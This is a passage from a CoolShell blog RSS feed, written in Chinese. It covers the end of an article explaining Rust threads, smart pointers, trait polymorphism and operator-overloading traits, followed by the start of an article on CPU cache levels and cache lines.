关键词，可以把闭包外使用到的变量给移动到闭包内，成为闭包内的一个局部变量。这种方式，在多线程的方式下可以让线程运行地更为的安全。参看如下代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">let name = \"CoolShell\".to_string();\nlet t = thread::spawn(move || {\n    println!(\"Hello, {}\", name);\n});\nprintln!(\"wait {:?}\", t.join());</pre>\n<p>首先，线程 <code>thread::spawn()</code> 里的闭包函数是不能带参数的，因为是闭包，所以可以使用这个可见范围内的变量，但是，问题来了，因为是另一个线程，所以，这代表其和其它线程（如：主线程）开始共享数据了，所以，在Rust下，要求把使用到的变量给 Move 到线程内，这就保证了安全的问题—— <code>name</code> 在线程中永远不会失效，而且不会被别人改了。</p>\n<p>你可能会有一些疑问，你会质疑到</p>\n<ul>\n<li>一方面，这个 <code>name</code> 变量又没有声明成 <code>mut</code> 这意味着不变，没必要使用move语义也是安全的。</li>\n<li>另一方面，如果我想把这个 <code>name</code> 传递到多个线程里呢？</li>\n</ul>\n<p>嗯，是的，但是Rust的线程必需是 move的，不管是不是可变的，不然编译不过去。如果你想把一个变量传到多个线程中，你得创建变量的复本，也就是调用 <code>clone()</code> 方法。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\" data-enlighter-highlight=\"2,7\">let name = \"CoolShell\".to_string();\nlet name1 = name.clone();\nlet t1 = thread::spawn(move || {\n    println!(\"Hello, {}\", name.clone());\n})\nlet t2 = thread::spawn(move || {\n    println!(\"Hello, {}\", name1.clone());\n});\nprintln!(\"wait t1={:?}, t2={:?}\", t1.join(), t2.join());</pre>\n<p>然后，你说，这种clone的方式成本不是很高？设想，如果我要用多线程对一个很大的数组做统计，这种clone的方式完全吃不消。嗯，是的。这个时候，需要使用另一个技术，智能指针了。</p>\n<h4>Rust的智能指针</h4>\n<p>如果你看到这里还不晕的话，那么，我的文章还算成功（如果晕的话，请告诉我，我会进行改善）。接下来我们来讲讲Rust的智能指针和多态。</p>\n<p>因为有些内存需要分配在Heap（堆）上，而不是Stack（堆）上，Stack上的内存一般是编译时决定的，所以，编译器需要知道你的数组、结构体、枚举等这些数据类型的长度，没有长度是无法编译的，而且长度也不能太大，Stack上的内存大小是有限，太大的内存会有StackOverflow的错误。所以，对于更大的内存或是动态的内存分配需要分配在Heap上。学过C/C++的同学对于这个概念不会陌生。</p>\n<p>Rust 作为一个内存安全的语言，这个堆上分配的内存也是需要管理的。在C中，需要程序员自己管理，而在C++中，一般使用 <a href=\"https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization\" target=\"_blank\" rel=\"noopener noreferrer\">RAII 的机制</a>（面向对象的代理模式），一种通过分配在Stack上的对象来管理Heap上的内存的技术。在C++中，这种技术的实现叫“智能指针”（Smart Pointer）。</p>\n<p>在C++11中，会有三种智能指针（这三种指针是什么我就不多说了）：</p>\n<ul>\n<li><code>unique_ptr</code>。独占内存，不共享。在Rust中是：<code>std::boxed::Box</code></li>\n<li><code>shared_ptr</code>。以引用计数的方式共享内存。在Rust中是：<code>std::rc::Rc</code></li>\n<li><code>weak_ptr</code>。不以引用计数的方式共享内存。在Rust中是：<code>std::rc::Weak</code></li>\n</ul>\n<p>对于独占的 <code>Box</code> 不多说了，这里重点说一下共享的 <code>Rc</code> 和 <code>Weak</code> ：</p>\n<ul>\n<li>对于Rust的 Rc 来说，Rc指针内会有一个 <code>strong_count</code> 的引用持计数，一旦引用计数为0后，内存就自动释放了。</li>\n<li>需要共享内存的时候，需要调用实例的 <code>clone()</code> 方法。如： <code>let another = rc.clone()</code> 克隆的时候，只会增加引用计数，不会作深度复制（个人觉得Clone的语义在这里被践踏了）</li>\n<li>有这种共享的引用计数，就意味着有多线程的问题，所以，如果需要使用线程安全的智能指针，则需要使用<code>std::sync::Arc</code></li>\n<li>可以使用 <code>Rc::downgrade(&amp;rc)</code> 后，会变成 Weak 指针，Weak指针增加的是 <code>weak_count</code> 的引用计数，内存释放时不会检查它是否为 0。</li>\n</ul>\n<p>我们简单的来看个示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">use std::rc::Rc;\nuse std::rc::Weak\n\n//声明两个未初始化的指针变量\nlet weak : Weak; \nlet strong : Rc;\n{\n    let five = Rc::new(5); //局部变量\n    strong = five.clone(); //进行强引用\n    weak = Rc::downgrade(&amp;five); //对局部变量进行弱引用\n}\n//此时，five已析构，所以 Rc::strong_count(&amp;strong)=1， Rc::weak_count(&amp;strong)=1\n//如果调用 drop(strong)，那个整个内存就释放了\n//drop(strong);\n\n//如果要访问弱引用的值，需要把弱引用 upgrade 成强引用，才能安全的使用\nmatch  weak_five.upgrade() {\n    Some(r) =&gt; println!(\"{}\", r),\n    None =&gt; println!(\"None\"),\n} \n</pre>\n<p>上面这个示例比较简单，其中主要展示了，指针共享的东西。因为指针是共享的，所以，对于强引用来说，最后的那个人把引用给释放了，是安全的。但是对于弱引用来说，这就是一个坑了，你们强引用的人有Ownership，但是我们弱引用没有，你们把内存释放了，我怎么知道？</p>\n<p>于是，<strong>在弱引用需要使用内存的时候需要“升级”成强引用 ，但是这个升级可能会不成功，因为内存可能已经被别人清空了</strong>。所以，这个操作会返回一个 <code>Option</code> 的枚举值，<code>Option::Some(T)</code> 表示成功了，而 <code>Option::None</code> 则表示失改了。你会说，这么麻烦，我们为什么还要 <code>Weak</code> ? 这是因为强引用的 <code>Rc</code> 会有循环引用的问题……（学过C++的都应该知道）</p>\n<p>另外，如果你要修改 <code>Rc</code> 里的值，Rust 会给你两个方法，一个是 <code>get_mut()</code>，一个是 <code>make_mut()</code> ，这两个方法都有副作用或是限制。</p>\n<p><code>get_mut()</code> 需要做一个“唯一引用”的检查，也就是没有任何的共享才能修改</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">//修改引用的变量 - get_mut 会返回一个Option对象\n//但是需要注意，仅当（只有一个强引用 &amp;&amp; 没有弱引用）为真才能修改\nif let Some(val) = Rc::get_mut(&amp;mut strong) {\n    *val = 555;\n}</pre>\n<p><code>make_mut()</code> 则是会把当前的引用给clone出来，再也不共享了， 是一份全新的。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">//此处可以修改，但是是以 clone 的方式，也就是让strong这个指针独立出来了。\n*Rc::make_mut(&amp;mut strong) = 555;\n</pre>\n<p>如果不这样做，就会出现很多内存不安全的情况。<strong>这些小细节一定要注意，不然你的代码怎么运作的你会一脸蒙逼的</strong>。</p>\n<p>嗯，如果你想更快乐地使用智能指针，这里还有个选择 &#8211; <code>Cell</code> 和 <code>RefCell</code>，它们弥补了 Rust 所有权机制在灵活性上和某些场景下的不足。他们提供了 <code>set()</code>/<code>get()</code> 以及 <code>borrow()</code>/<code>borrow_mut()</code> 的方法，让你的程序更灵活，而不会被限制得死死的。参看下面的示例。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">use std::cell::Cell;\nuse std::cell::RefCell\n\nlet x = Cell::new(1);\nlet y = &amp;x; //引用（借用）\nlet z = &amp;x; //引用（借用）\nx.set(2); // 可以进行修改，x，y，z全都改了\ny.set(3);\nz.set(4);\nprintln!(\"x={} y={} z={}\", x.get(), y.get(), z.get());\n\nlet x = RefCell::new(vec![1,2,3,4]);\n{\n    println!(\"{:?}\", *x.borrow())\n}\n\n{\n    let mut my_ref = x.borrow_mut();\n    my_ref.push(1);\n}\nprintln!(\"{:?}\", *x.borrow());</pre>\n<p>通过上面的示例你可以看到你可以比较方便地更为正常的使用智能指针了。然而，需要注意的是 <code>Cell</code> 和 <code>RefCell</code> 不是线程安全的。在多线程下，需要使用Mutex进行互斥。</p>\n<h4>线程与智能指针</h4>\n<p>现在，我们回来来解决前面那还没有解决的问题，就是——我想在多个线程中共享一个只读的数据，比如：一个很大的数组，我开多个线程进行并行统计。我们肯定不能对这个大数组进行clone，但也不能把这个大数组move到一个线程中。根据上述的智能指针的逻辑，我们可以通过智指指针来完成这个事，下面是一个例程：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\" data-enlighter-highlight=\"4,5,12,13,27\">const TOTAL_SIZE:usize = 100 * 1000; //数组长度\nconst NTHREAD:usize = 6; //线程数\n\nlet data : Vec&lt;i32&gt; = (1..(TOTAL_SIZE+1) as i32).collect(); //初始化一个数据从1到n数组\nlet arc_data = Arc::new(data); //data 的所有权转给了 ar_data\nlet result  = Arc::new(AtomicU64::new(0)); //收集结果的数组(原子操作)\n\nlet mut thread_handlers = vec![]; // 用于收集线程句柄\n\nfor i in 0..NTHREAD {\n    // clone Arc 准备move到线程中，只增加引用计数，不会深拷贝内部数据\n    let test_data = arc_data.clone(); \n    let res = result.clone(); \n    thread_handlers.push( \n        thread::spawn(move || {\n            let id = i;\n            //找到自己的分区\n            let chunk_size = TOTAL_SIZE / NTHREAD + 1;\n            let start = id * chunk_size;\n            let end = std::cmp::min(start + chunk_size, TOTAL_SIZE);\n            //进行求和运算\n            let mut sum = 0;\n            for  i in start..end  {\n                sum += test_data[i];\n            }\n            //原子操作\n            res.fetch_add(sum as u64, Ordering::SeqCst);\n            println!(\"id={}, sum={}\", id, sum );\n        }\n    ));\n}\n//等所有的线程执行完\nfor th in thread_handlers {\n    th.join().expect(\"The sender thread panic!!!\");\n}\n//输出结果\nprintln!(\"result = {}\",result.load(Ordering::SeqCst));</pre>\n<p>上面的这个例程，是用多线程的方式来并行计算一个大的数组的和，每个线程都会计算自己的那一部分。上面的代码中，</p>\n<ul>\n<li>需要向每个线程传入一个只读的数组，我们用<code>Arc</code> 智能指针把这个数组包了一层。</li>\n<li>需要向每个线程传入一个变量用于数据数据，我们用 <code>Arc&lt;AtomicU64&gt;</code> 包了一层。</li>\n<li>注意：<code>Arc</code> 所包的对象是不可变的，所以，如果要可变的，那要么用原子对象，或是用Mutex/Cell对象再包一层。</li>\n</ul>\n<p>这一些都是为了要解决“线程的Move语义后还要共享问题”。</p>\n<h4>多态和运行时识别</h4>\n<h5>通过Trait多态</h5>\n<p>多态是抽象和解耦的关键，所以，一个高级的语言是必需实现多态的。在C++中，多态是通过虚函数表来实现的（参看《<a href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\" rel=\"noopener noreferrer\">C++的虚函数表</a>》），Rust也很类似，不过，在编程范式上，更像Java的接口的方式。其通过借用于Erlang的Trait对象的方式来完成。参看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">struct Rectangle {\n    width : u32,\n    height : u32,\n} \n\nstruct Circle {\n    x : u32,\n    y : u32,\n    radius : u32,\n}\n\ntrait  IShape  { \n    fn area(&amp;self) -&gt; f32;\n    fn to_string(&amp;self) -&gt; String;\n}</pre>\n<p>我们有两个类，一个是“长方形”，一个是“圆形”， 还有一个 <code>IShape</code> 的trait 对象（原谅我用了Java的命名方式），其中有两个方法：求面积的 <code>area()</code> 和 转字符串的 <code>to_string()</code>。下面相关的实现：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">impl IShape  for Rectangle {\n    fn area(&amp;self) -&gt; f32 { (self.height * self.width) as f32 }\n    fn to_string(&amp;self) -&gt;String {\n         format!(\"Rectangle -&gt; width={} height={} area={}\", \n                  self.width, self.height, self.area())\n    }\n}\n\nuse std::f64::consts::PI;\nimpl IShape  for Circle  {\n    fn area(&amp;self) -&gt; f32 { (self.radius * self.radius) as f32 * PI as f32}\n    fn to_string(&amp;self) -&gt; String {\n        format!(\"Circle -&gt; x={}, y={}, area={}\", \n                 self.x, self.y, self.area())\n    }\n}\n</pre>\n<p>于是，我们就可以有下面的多态的使用方式了（我们使用独占的智能指针类 <code>Box</code>）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">use std::vec::Vec;\n\nlet rect = Box::new( Rectangle { width: 4, height: 6});\nlet circle = Box::new( Circle { x: 0, y:0, radius: 5});\nlet mut v : Vec&lt;Box&gt; = Vec::new();\nv.push(rect);\nv.push(circle);\n\nfor i in v.iter() {\n   println!(\"area={}\", i.area() );\n   println!(\"{}\", i.to_string() );\n}</pre>\n<h5>向下转型</h5>\n<p>但是，在C++中，多态的类型是抽象类型，我们还想把其转成实际的具体类型，在C++中叫运行进实别RTTI，需要使用像 <code>type_id</code> 或是 <code>dynamic_cast</code> 这两个技术。在Rust中，转型是使用 &#8216;<code>as</code>&#8216; 关键字，然而，这是编译时识别，不是运行时。那么，在Rust中是怎么做呢？</p>\n<p>嗯，这里需要使用 Rust 的 <code>std::any::Any</code> 这个东西，这个东西就可以使用 <code>downcast_ref</code> 这个东西来进行具体类型的转换。于是我们要对现有的代码进行改造。</p>\n<p>首先，先得让 <code>IShape</code> 继承于 <code>Any</code> ，并增加一个 <code>as_any()</code> 的转型接口。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">use std::any::Any;\ntrait  IShape : Any + 'static  {\n    fn as_any(&amp;self) -&gt; &amp;dyn Any; \n    …… …… …… \n}</pre>\n<p>然后，在具体类中实现这个接口：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">impl IShape  for Rectangle {\n    fn as_any(&amp;self) -&gt; &amp;dyn Any { self }\n    …… …… …… \n}\nimpl IShape  for Circle  {\n    fn as_any(&amp;self) -&gt; &amp;dyn Any { self }\n    …… …… …… \n}</pre>\n<p>于是，我们就可以进行运行时的向下转型了：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\" data-enlighter-highlight=\"5,7\">let mut v : Vec&lt;Box&lt;dyn IShape&gt;&gt; = Vec::new();\nv.push(rect);\nv.push(circle);\nfor i in v.iter() {\n    if let Some(s) = i.as_any().downcast_ref::&lt;Rectangle&gt;() {\n        println!(\"downcast - Rectangle w={}, h={}\", s.width, s.height);\n    }else if let Some(s) = i.as_any().downcast_ref::&lt;Circle&gt;() {\n        println!(\"downcast - Circle x={}, y={}, r={}\", s.x, s.y, s.radius);\n    }else{\n        println!(\"invaild type\");\n    }\n}</pre>\n<h4>Trait 重载操作符</h4>\n<p>操作符重载对进行泛行编程是非常有帮助的，如果所有的对象都可以进行大于，小于，等于这亲的比较操作，那么就可以直接放到一个标准的数组排序的的算法中去了。在Rust中，在 <code>std::ops</code> 下有全载的操作符重载的Trait，在<code>std::cmp</code> 下则是比较操作的操作符。我们下面来看一个示例：</p>\n<p>假如我们有一个“员工”对象，我们想要按员工的薪水排序，如果我们想要使用<code>Vec::sort()</code>方法，我们就需要实现这个对象的各种“比较”方法。这些方法在 <code>std::cmp</code> 内—— 其中有四个Trait : <code>Ord</code>、<code>PartialOrd</code> 、<code>Eq</code> 和 <code>PartialEq</code>  。其中，<code>Ord</code> 依赖于 <code>PartialOrd</code> 和 <code>Eq</code> ，而<code>Eq</code> 依赖于 <code>PartialEq</code>，这意味着你需要实现所有的Trait，而<code>Eq</code> 这个Trait 是没有方法的，所以，其实现如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">use std::cmp::{Ord, PartialOrd, PartialEq, Ordering};\n\n#[derive(Debug)]\nstruct Employee {\n    name : String,\n    salary : i32,\n}\nimpl Ord for Employee {\n    fn cmp(&amp;self, rhs: &amp;Self) -&gt; Ordering {\n        self.salary.cmp(&amp;rhs.salary)\n    }\n}\nimpl PartialOrd for Employee {\n    fn partial_cmp(&amp;self, rhs: &amp;Self) -&gt; Option&lt;Ordering&gt; {\n        Some(self.cmp(rhs))\n    }\n}\nimpl Eq for Employee {\n}\nimpl PartialEq for Employee {\n    fn eq(&amp;self, rhs: &amp;Self) -&gt; bool {\n        self.salary == rhs.salary\n    }\n}</pre>\n<p>于是，我们就可以进行如下的操作了：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">let mut v = vec![\n    Employee {name : String::from(\"Bob\"),     salary: 2048},\n    Employee {name : String::from(\"Alice\"),   salary: 3208},\n    Employee {name : String::from(\"Tom\"),     salary: 2359},\n    Employee {name : String::from(\"Jack\"),    salary: 4865},\n    Employee {name : String::from(\"Marray\"),  salary: 3743},\n    Employee {name : String::from(\"Hao\"),     salary: 2964},\n    Employee {name : String::from(\"Chen\"),    salary: 4197},\n];\n\n//用for-loop找出薪水最多的人\nlet mut e = &amp;v[0];\nfor i in 0..v.len() {\n    if *e &lt; v[i] { \n        e = &amp;v[i]; \n    }\n}\nprintln!(\"max = {:?}\", e);\n\n//使用标准的方法\nprintln!(\"min = {:?}\", v.iter().min().unwrap());\nprintln!(\"max = {:?}\", v.iter().max().unwrap());\n\n//使用标准的排序方法\nv.sort();\nprintln!(\"{:?}\", v);</pre>\n<h4>小结</h4>\n<p>现在我们来小结一下：</p>\n<ul>\n<li>在Rust的中，最重要的概念就是“不可变”和“所有权”以及“Trait”这三个概念。</li>\n<li>在所有权概念上，Rust喜欢move所有权，如果需要借用则需要使用引用。</li>\n<li>Move所有权会导致一些编程上的复杂度，尤其是需要同时move两个变量时。</li>\n<li>引用（借用）的问题是生命周期的问题，一些时候需要程序员来标注生命周期。</li>\n<li>在函数式的闭包和多线程下，这些所有权又出现了各种麻烦事。</li>\n<li>使用智能指针可以解决所有权和借用带来的复杂度，但带来其它的问题。</li>\n<li>最后介绍了Rust的Trait对象完成多态和函数重载的玩法。</li>\n</ul>\n<p>Rust是一个比较严格的编程语言，它会严格检查你程序中的：</p>\n<ul>\n<li>变量是否是可变的</li>\n<li>变量的所有权是否被移走了</li>\n<li>引用的生命周期是否完整</li>\n<li>对象是否需要实现一些Trait</li>\n</ul>\n<p>这些东西都会导致失去编译的灵活性，并在一些时候需要“去糖”，导致，你在使用Rust会有诸多的不适应，程序编译不过的挫败感也是令人沮丧的。在初学Rust的时候，我想自己写一个单向链表，结果，费尽心力，才得以完成。也就是说，<strong>如果你对Rust的概念认识的不完整，你完全写不出程序，那怕就是很简单的一段代码</strong>。我觉得，这种挺好的，逼着程序员必需了解所有的概念才能编码。但是，另一方面也表明了这门语言并不适合初学者。</p>\n<p>没有银弹，任何语言都有些适合的地方和场景。</p>\n<p>（全文完）</p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<div id=\"gtx-trans\" style=\"position: absolute; left: 36px; top: 17975.6px;\">\n<div class=\"gtx-trans-icon\"></div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/20845.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>107</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>与程序员相关的CPU缓存知识</title>\n\t\t<link>https://coolshell.cn/articles/20793.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/20793.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 01 Mar 2020 11:43:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[cache]]></category>\n\t\t<category><![CDATA[CPU]]></category>\n\t\t<category><![CDATA[性能调优]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=20793</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>好久没有写一些微观方面的文章了，今天写一篇关于CPU Cache相关的文章，这篇文章比较长，主要分成这么几个部分：基础知识、缓存的命中、缓存的一致性、相关的代码...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/20793.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/20793.html\">与程序员相关的CPU缓存知识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-20817\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-300x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-300x300.png 300w, https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-200x200.png 200w, https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-270x270.png 270w, https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512.png 512w\" sizes=\"(max-width: 300px) 100vw, 300px\" />好久没有写一些微观方面的文章了，今天写一篇关于CPU Cache相关的文章，这篇文章比较长，主要分成这么几个部分：基础知识、缓存的命中、缓存的一致性、相关的代码示例和延伸阅读。其中会讲述一些多核 CPU 的系统架构以及其原理，包括对程序性能上的影响，以及在进行并发编程的时候需要注意到的一些问题。这篇文章我会尽量地写简单和通俗易懂一些，主要是讲清楚相关的原理和问题，而对于一些细节和延伸阅读我会在文章最后会给出相关的资源。</p>\n<p>因为无论你写什么样的代码都会交给CPU来执行，所以，如果你想写出性能比较高的代码，这篇文章中提到的技术还是值得认真学习的。另外，千万别觉得这些东西没用，这些东西非常有用，十多年前就是这些知识在性能调优上帮了我的很多大忙，从而跟很多人拉开了差距……</p>\n<h4>基础知识</h4>\n<p>首先，我们都知道现在的CPU多核技术，都会有几级缓存，老的CPU会有两级内存（L1和L2），新的CPU会有三级内存（L1，L2，L3 ），如下图所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-20794\" src=\"https://coolshell.cn/wp-content/uploads/2020/02/cache.architecture.png\" alt=\"\" width=\"729\" height=\"371\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/02/cache.architecture.png 729w, https://coolshell.cn/wp-content/uploads/2020/02/cache.architecture-300x153.png 300w, https://coolshell.cn/wp-content/uploads/2020/02/cache.architecture-531x270.png 531w\" sizes=\"(max-width: 729px) 100vw, 729px\" /><span id=\"more-20793\"></span></p>\n<p>其中：</p>\n<ul>\n<li>L1缓存分成两种，一种是指令缓存，一种是数据缓存。L2缓存和L3缓存不分指令和数据。</li>\n<li>L1和L2缓存在每一个CPU核中，L3则是所有CPU核心共享的内存。</li>\n<li>L1、L2、L3的越离CPU近就越小，速度也越快，越离CPU远，速度也越慢。</li>\n</ul>\n<p>再往后面就是内存，内存的后面就是硬盘。我们来看一些他们的速度：</p>\n<ul class=\"\">\n<li>L1 的存取速度：<strong class=\"hd jp\">4 个CPU时钟周期</strong></li>\n<li>L2 的存取速度： <strong class=\"hd jp\">11 个CPU时钟周期</strong></li>\n<li>L3 的存取速度：<strong class=\"hd jp\">39 个CPU时钟周期</strong></li>\n<li>RAM内存的存取速度<strong class=\"hd jp\">：107 个CPU时钟周期</strong></li>\n</ul>\n<p>我们可以看到，L1的速度是RAM的27倍，但是L1/L2的大小基本上也就是KB级别的，L3会是MB级别的。例如：<a href=\"https://en.wikichip.org/wiki/intel/core_i7/i7-8700k\" target=\"_blank\" rel=\"noopener noreferrer\">Intel Core i7-8700K</a> ，是一个6核的CPU，每核上的L1是64KB（数据和指令各32KB），L2 是 256K，L3有2MB（我的苹果电脑是<a href=\"https://en.wikichip.org/wiki/intel/core_i9/i9-8950hk\" target=\"_blank\" rel=\"noopener noreferrer\"> Intel Core i9-8950HK</a>，和Core i7-8700K的Cache大小一样）。</p>\n<p>我们的数据就从内存向上，先到L3，再到L2，再到L1，最后到寄存器进行CPU计算。为什么会设计成三层？这里有下面几个方面的考虑：</p>\n<ul>\n<li>一个方面是物理速度，如果要更大的容量就需要更多的晶体管，除了芯片的体积会变大，更重要的是大量的晶体管会导致速度下降，因为访问速度和要访问的晶体管所在的位置成反比，也就是当信号路径变长时，通信速度会变慢。这部分是物理问题。</li>\n<li>另外一个问题是，多核技术中，数据的状态需要在多个CPU中进行同步，并且，我们可以看到，cache和RAM的速度差距太大，所以，多级不同尺寸的缓存有利于提高整体的性能。</li>\n</ul>\n<p>这个世界永远是平衡的，一面变得有多光鲜，另一面也会变得有多黑暗。建立这么多级的缓存，一定就会引入其它的问题，这里有两个比较重要的问题，</p>\n<ul>\n<li>一个是比较简单的缓存的命中率的问题。</li>\n<li>另一个是比较复杂的缓存更新的一致性问题。</li>\n</ul>\n<p>尤其是第二个问题，在多核技术下，这就很像分布式的系统了，要对多个地方进行更新。</p>\n<h4>缓存的命中</h4>\n<p>在说明这两个问题之前。我们需要要解一个术语 Cache Line。缓存基本上来说就是把后面的数据加载到离自己近的地方，对于CPU来说，它是不会一个字节一个字节的加载的，因为这非常没有效率，一般来说都是要一块一块的加载的，对于这样的一块一块的数据单位，术语叫“Cache Line”，一般来说，一个主流的CPU的Cache Line 是 64 Bytes（也有的CPU用32Bytes和128Bytes），64Bytes也就是16个32位的整型，这就是CPU从内存中捞数据上来的最小数据单位。</p>\n<p>比如：Cache Line是最小单位（64Bytes），所以先把Cache分布多个Cache Line，比如：L1有32KB，那么，32KB/64B = 512 个 Cache Line。</p>\n<p>一方面，缓存需要把内存里的数据放到放进来，英文叫 CPU Associativity。Cache的数据放置的策略决定了内存中的数据块会拷贝到CPU 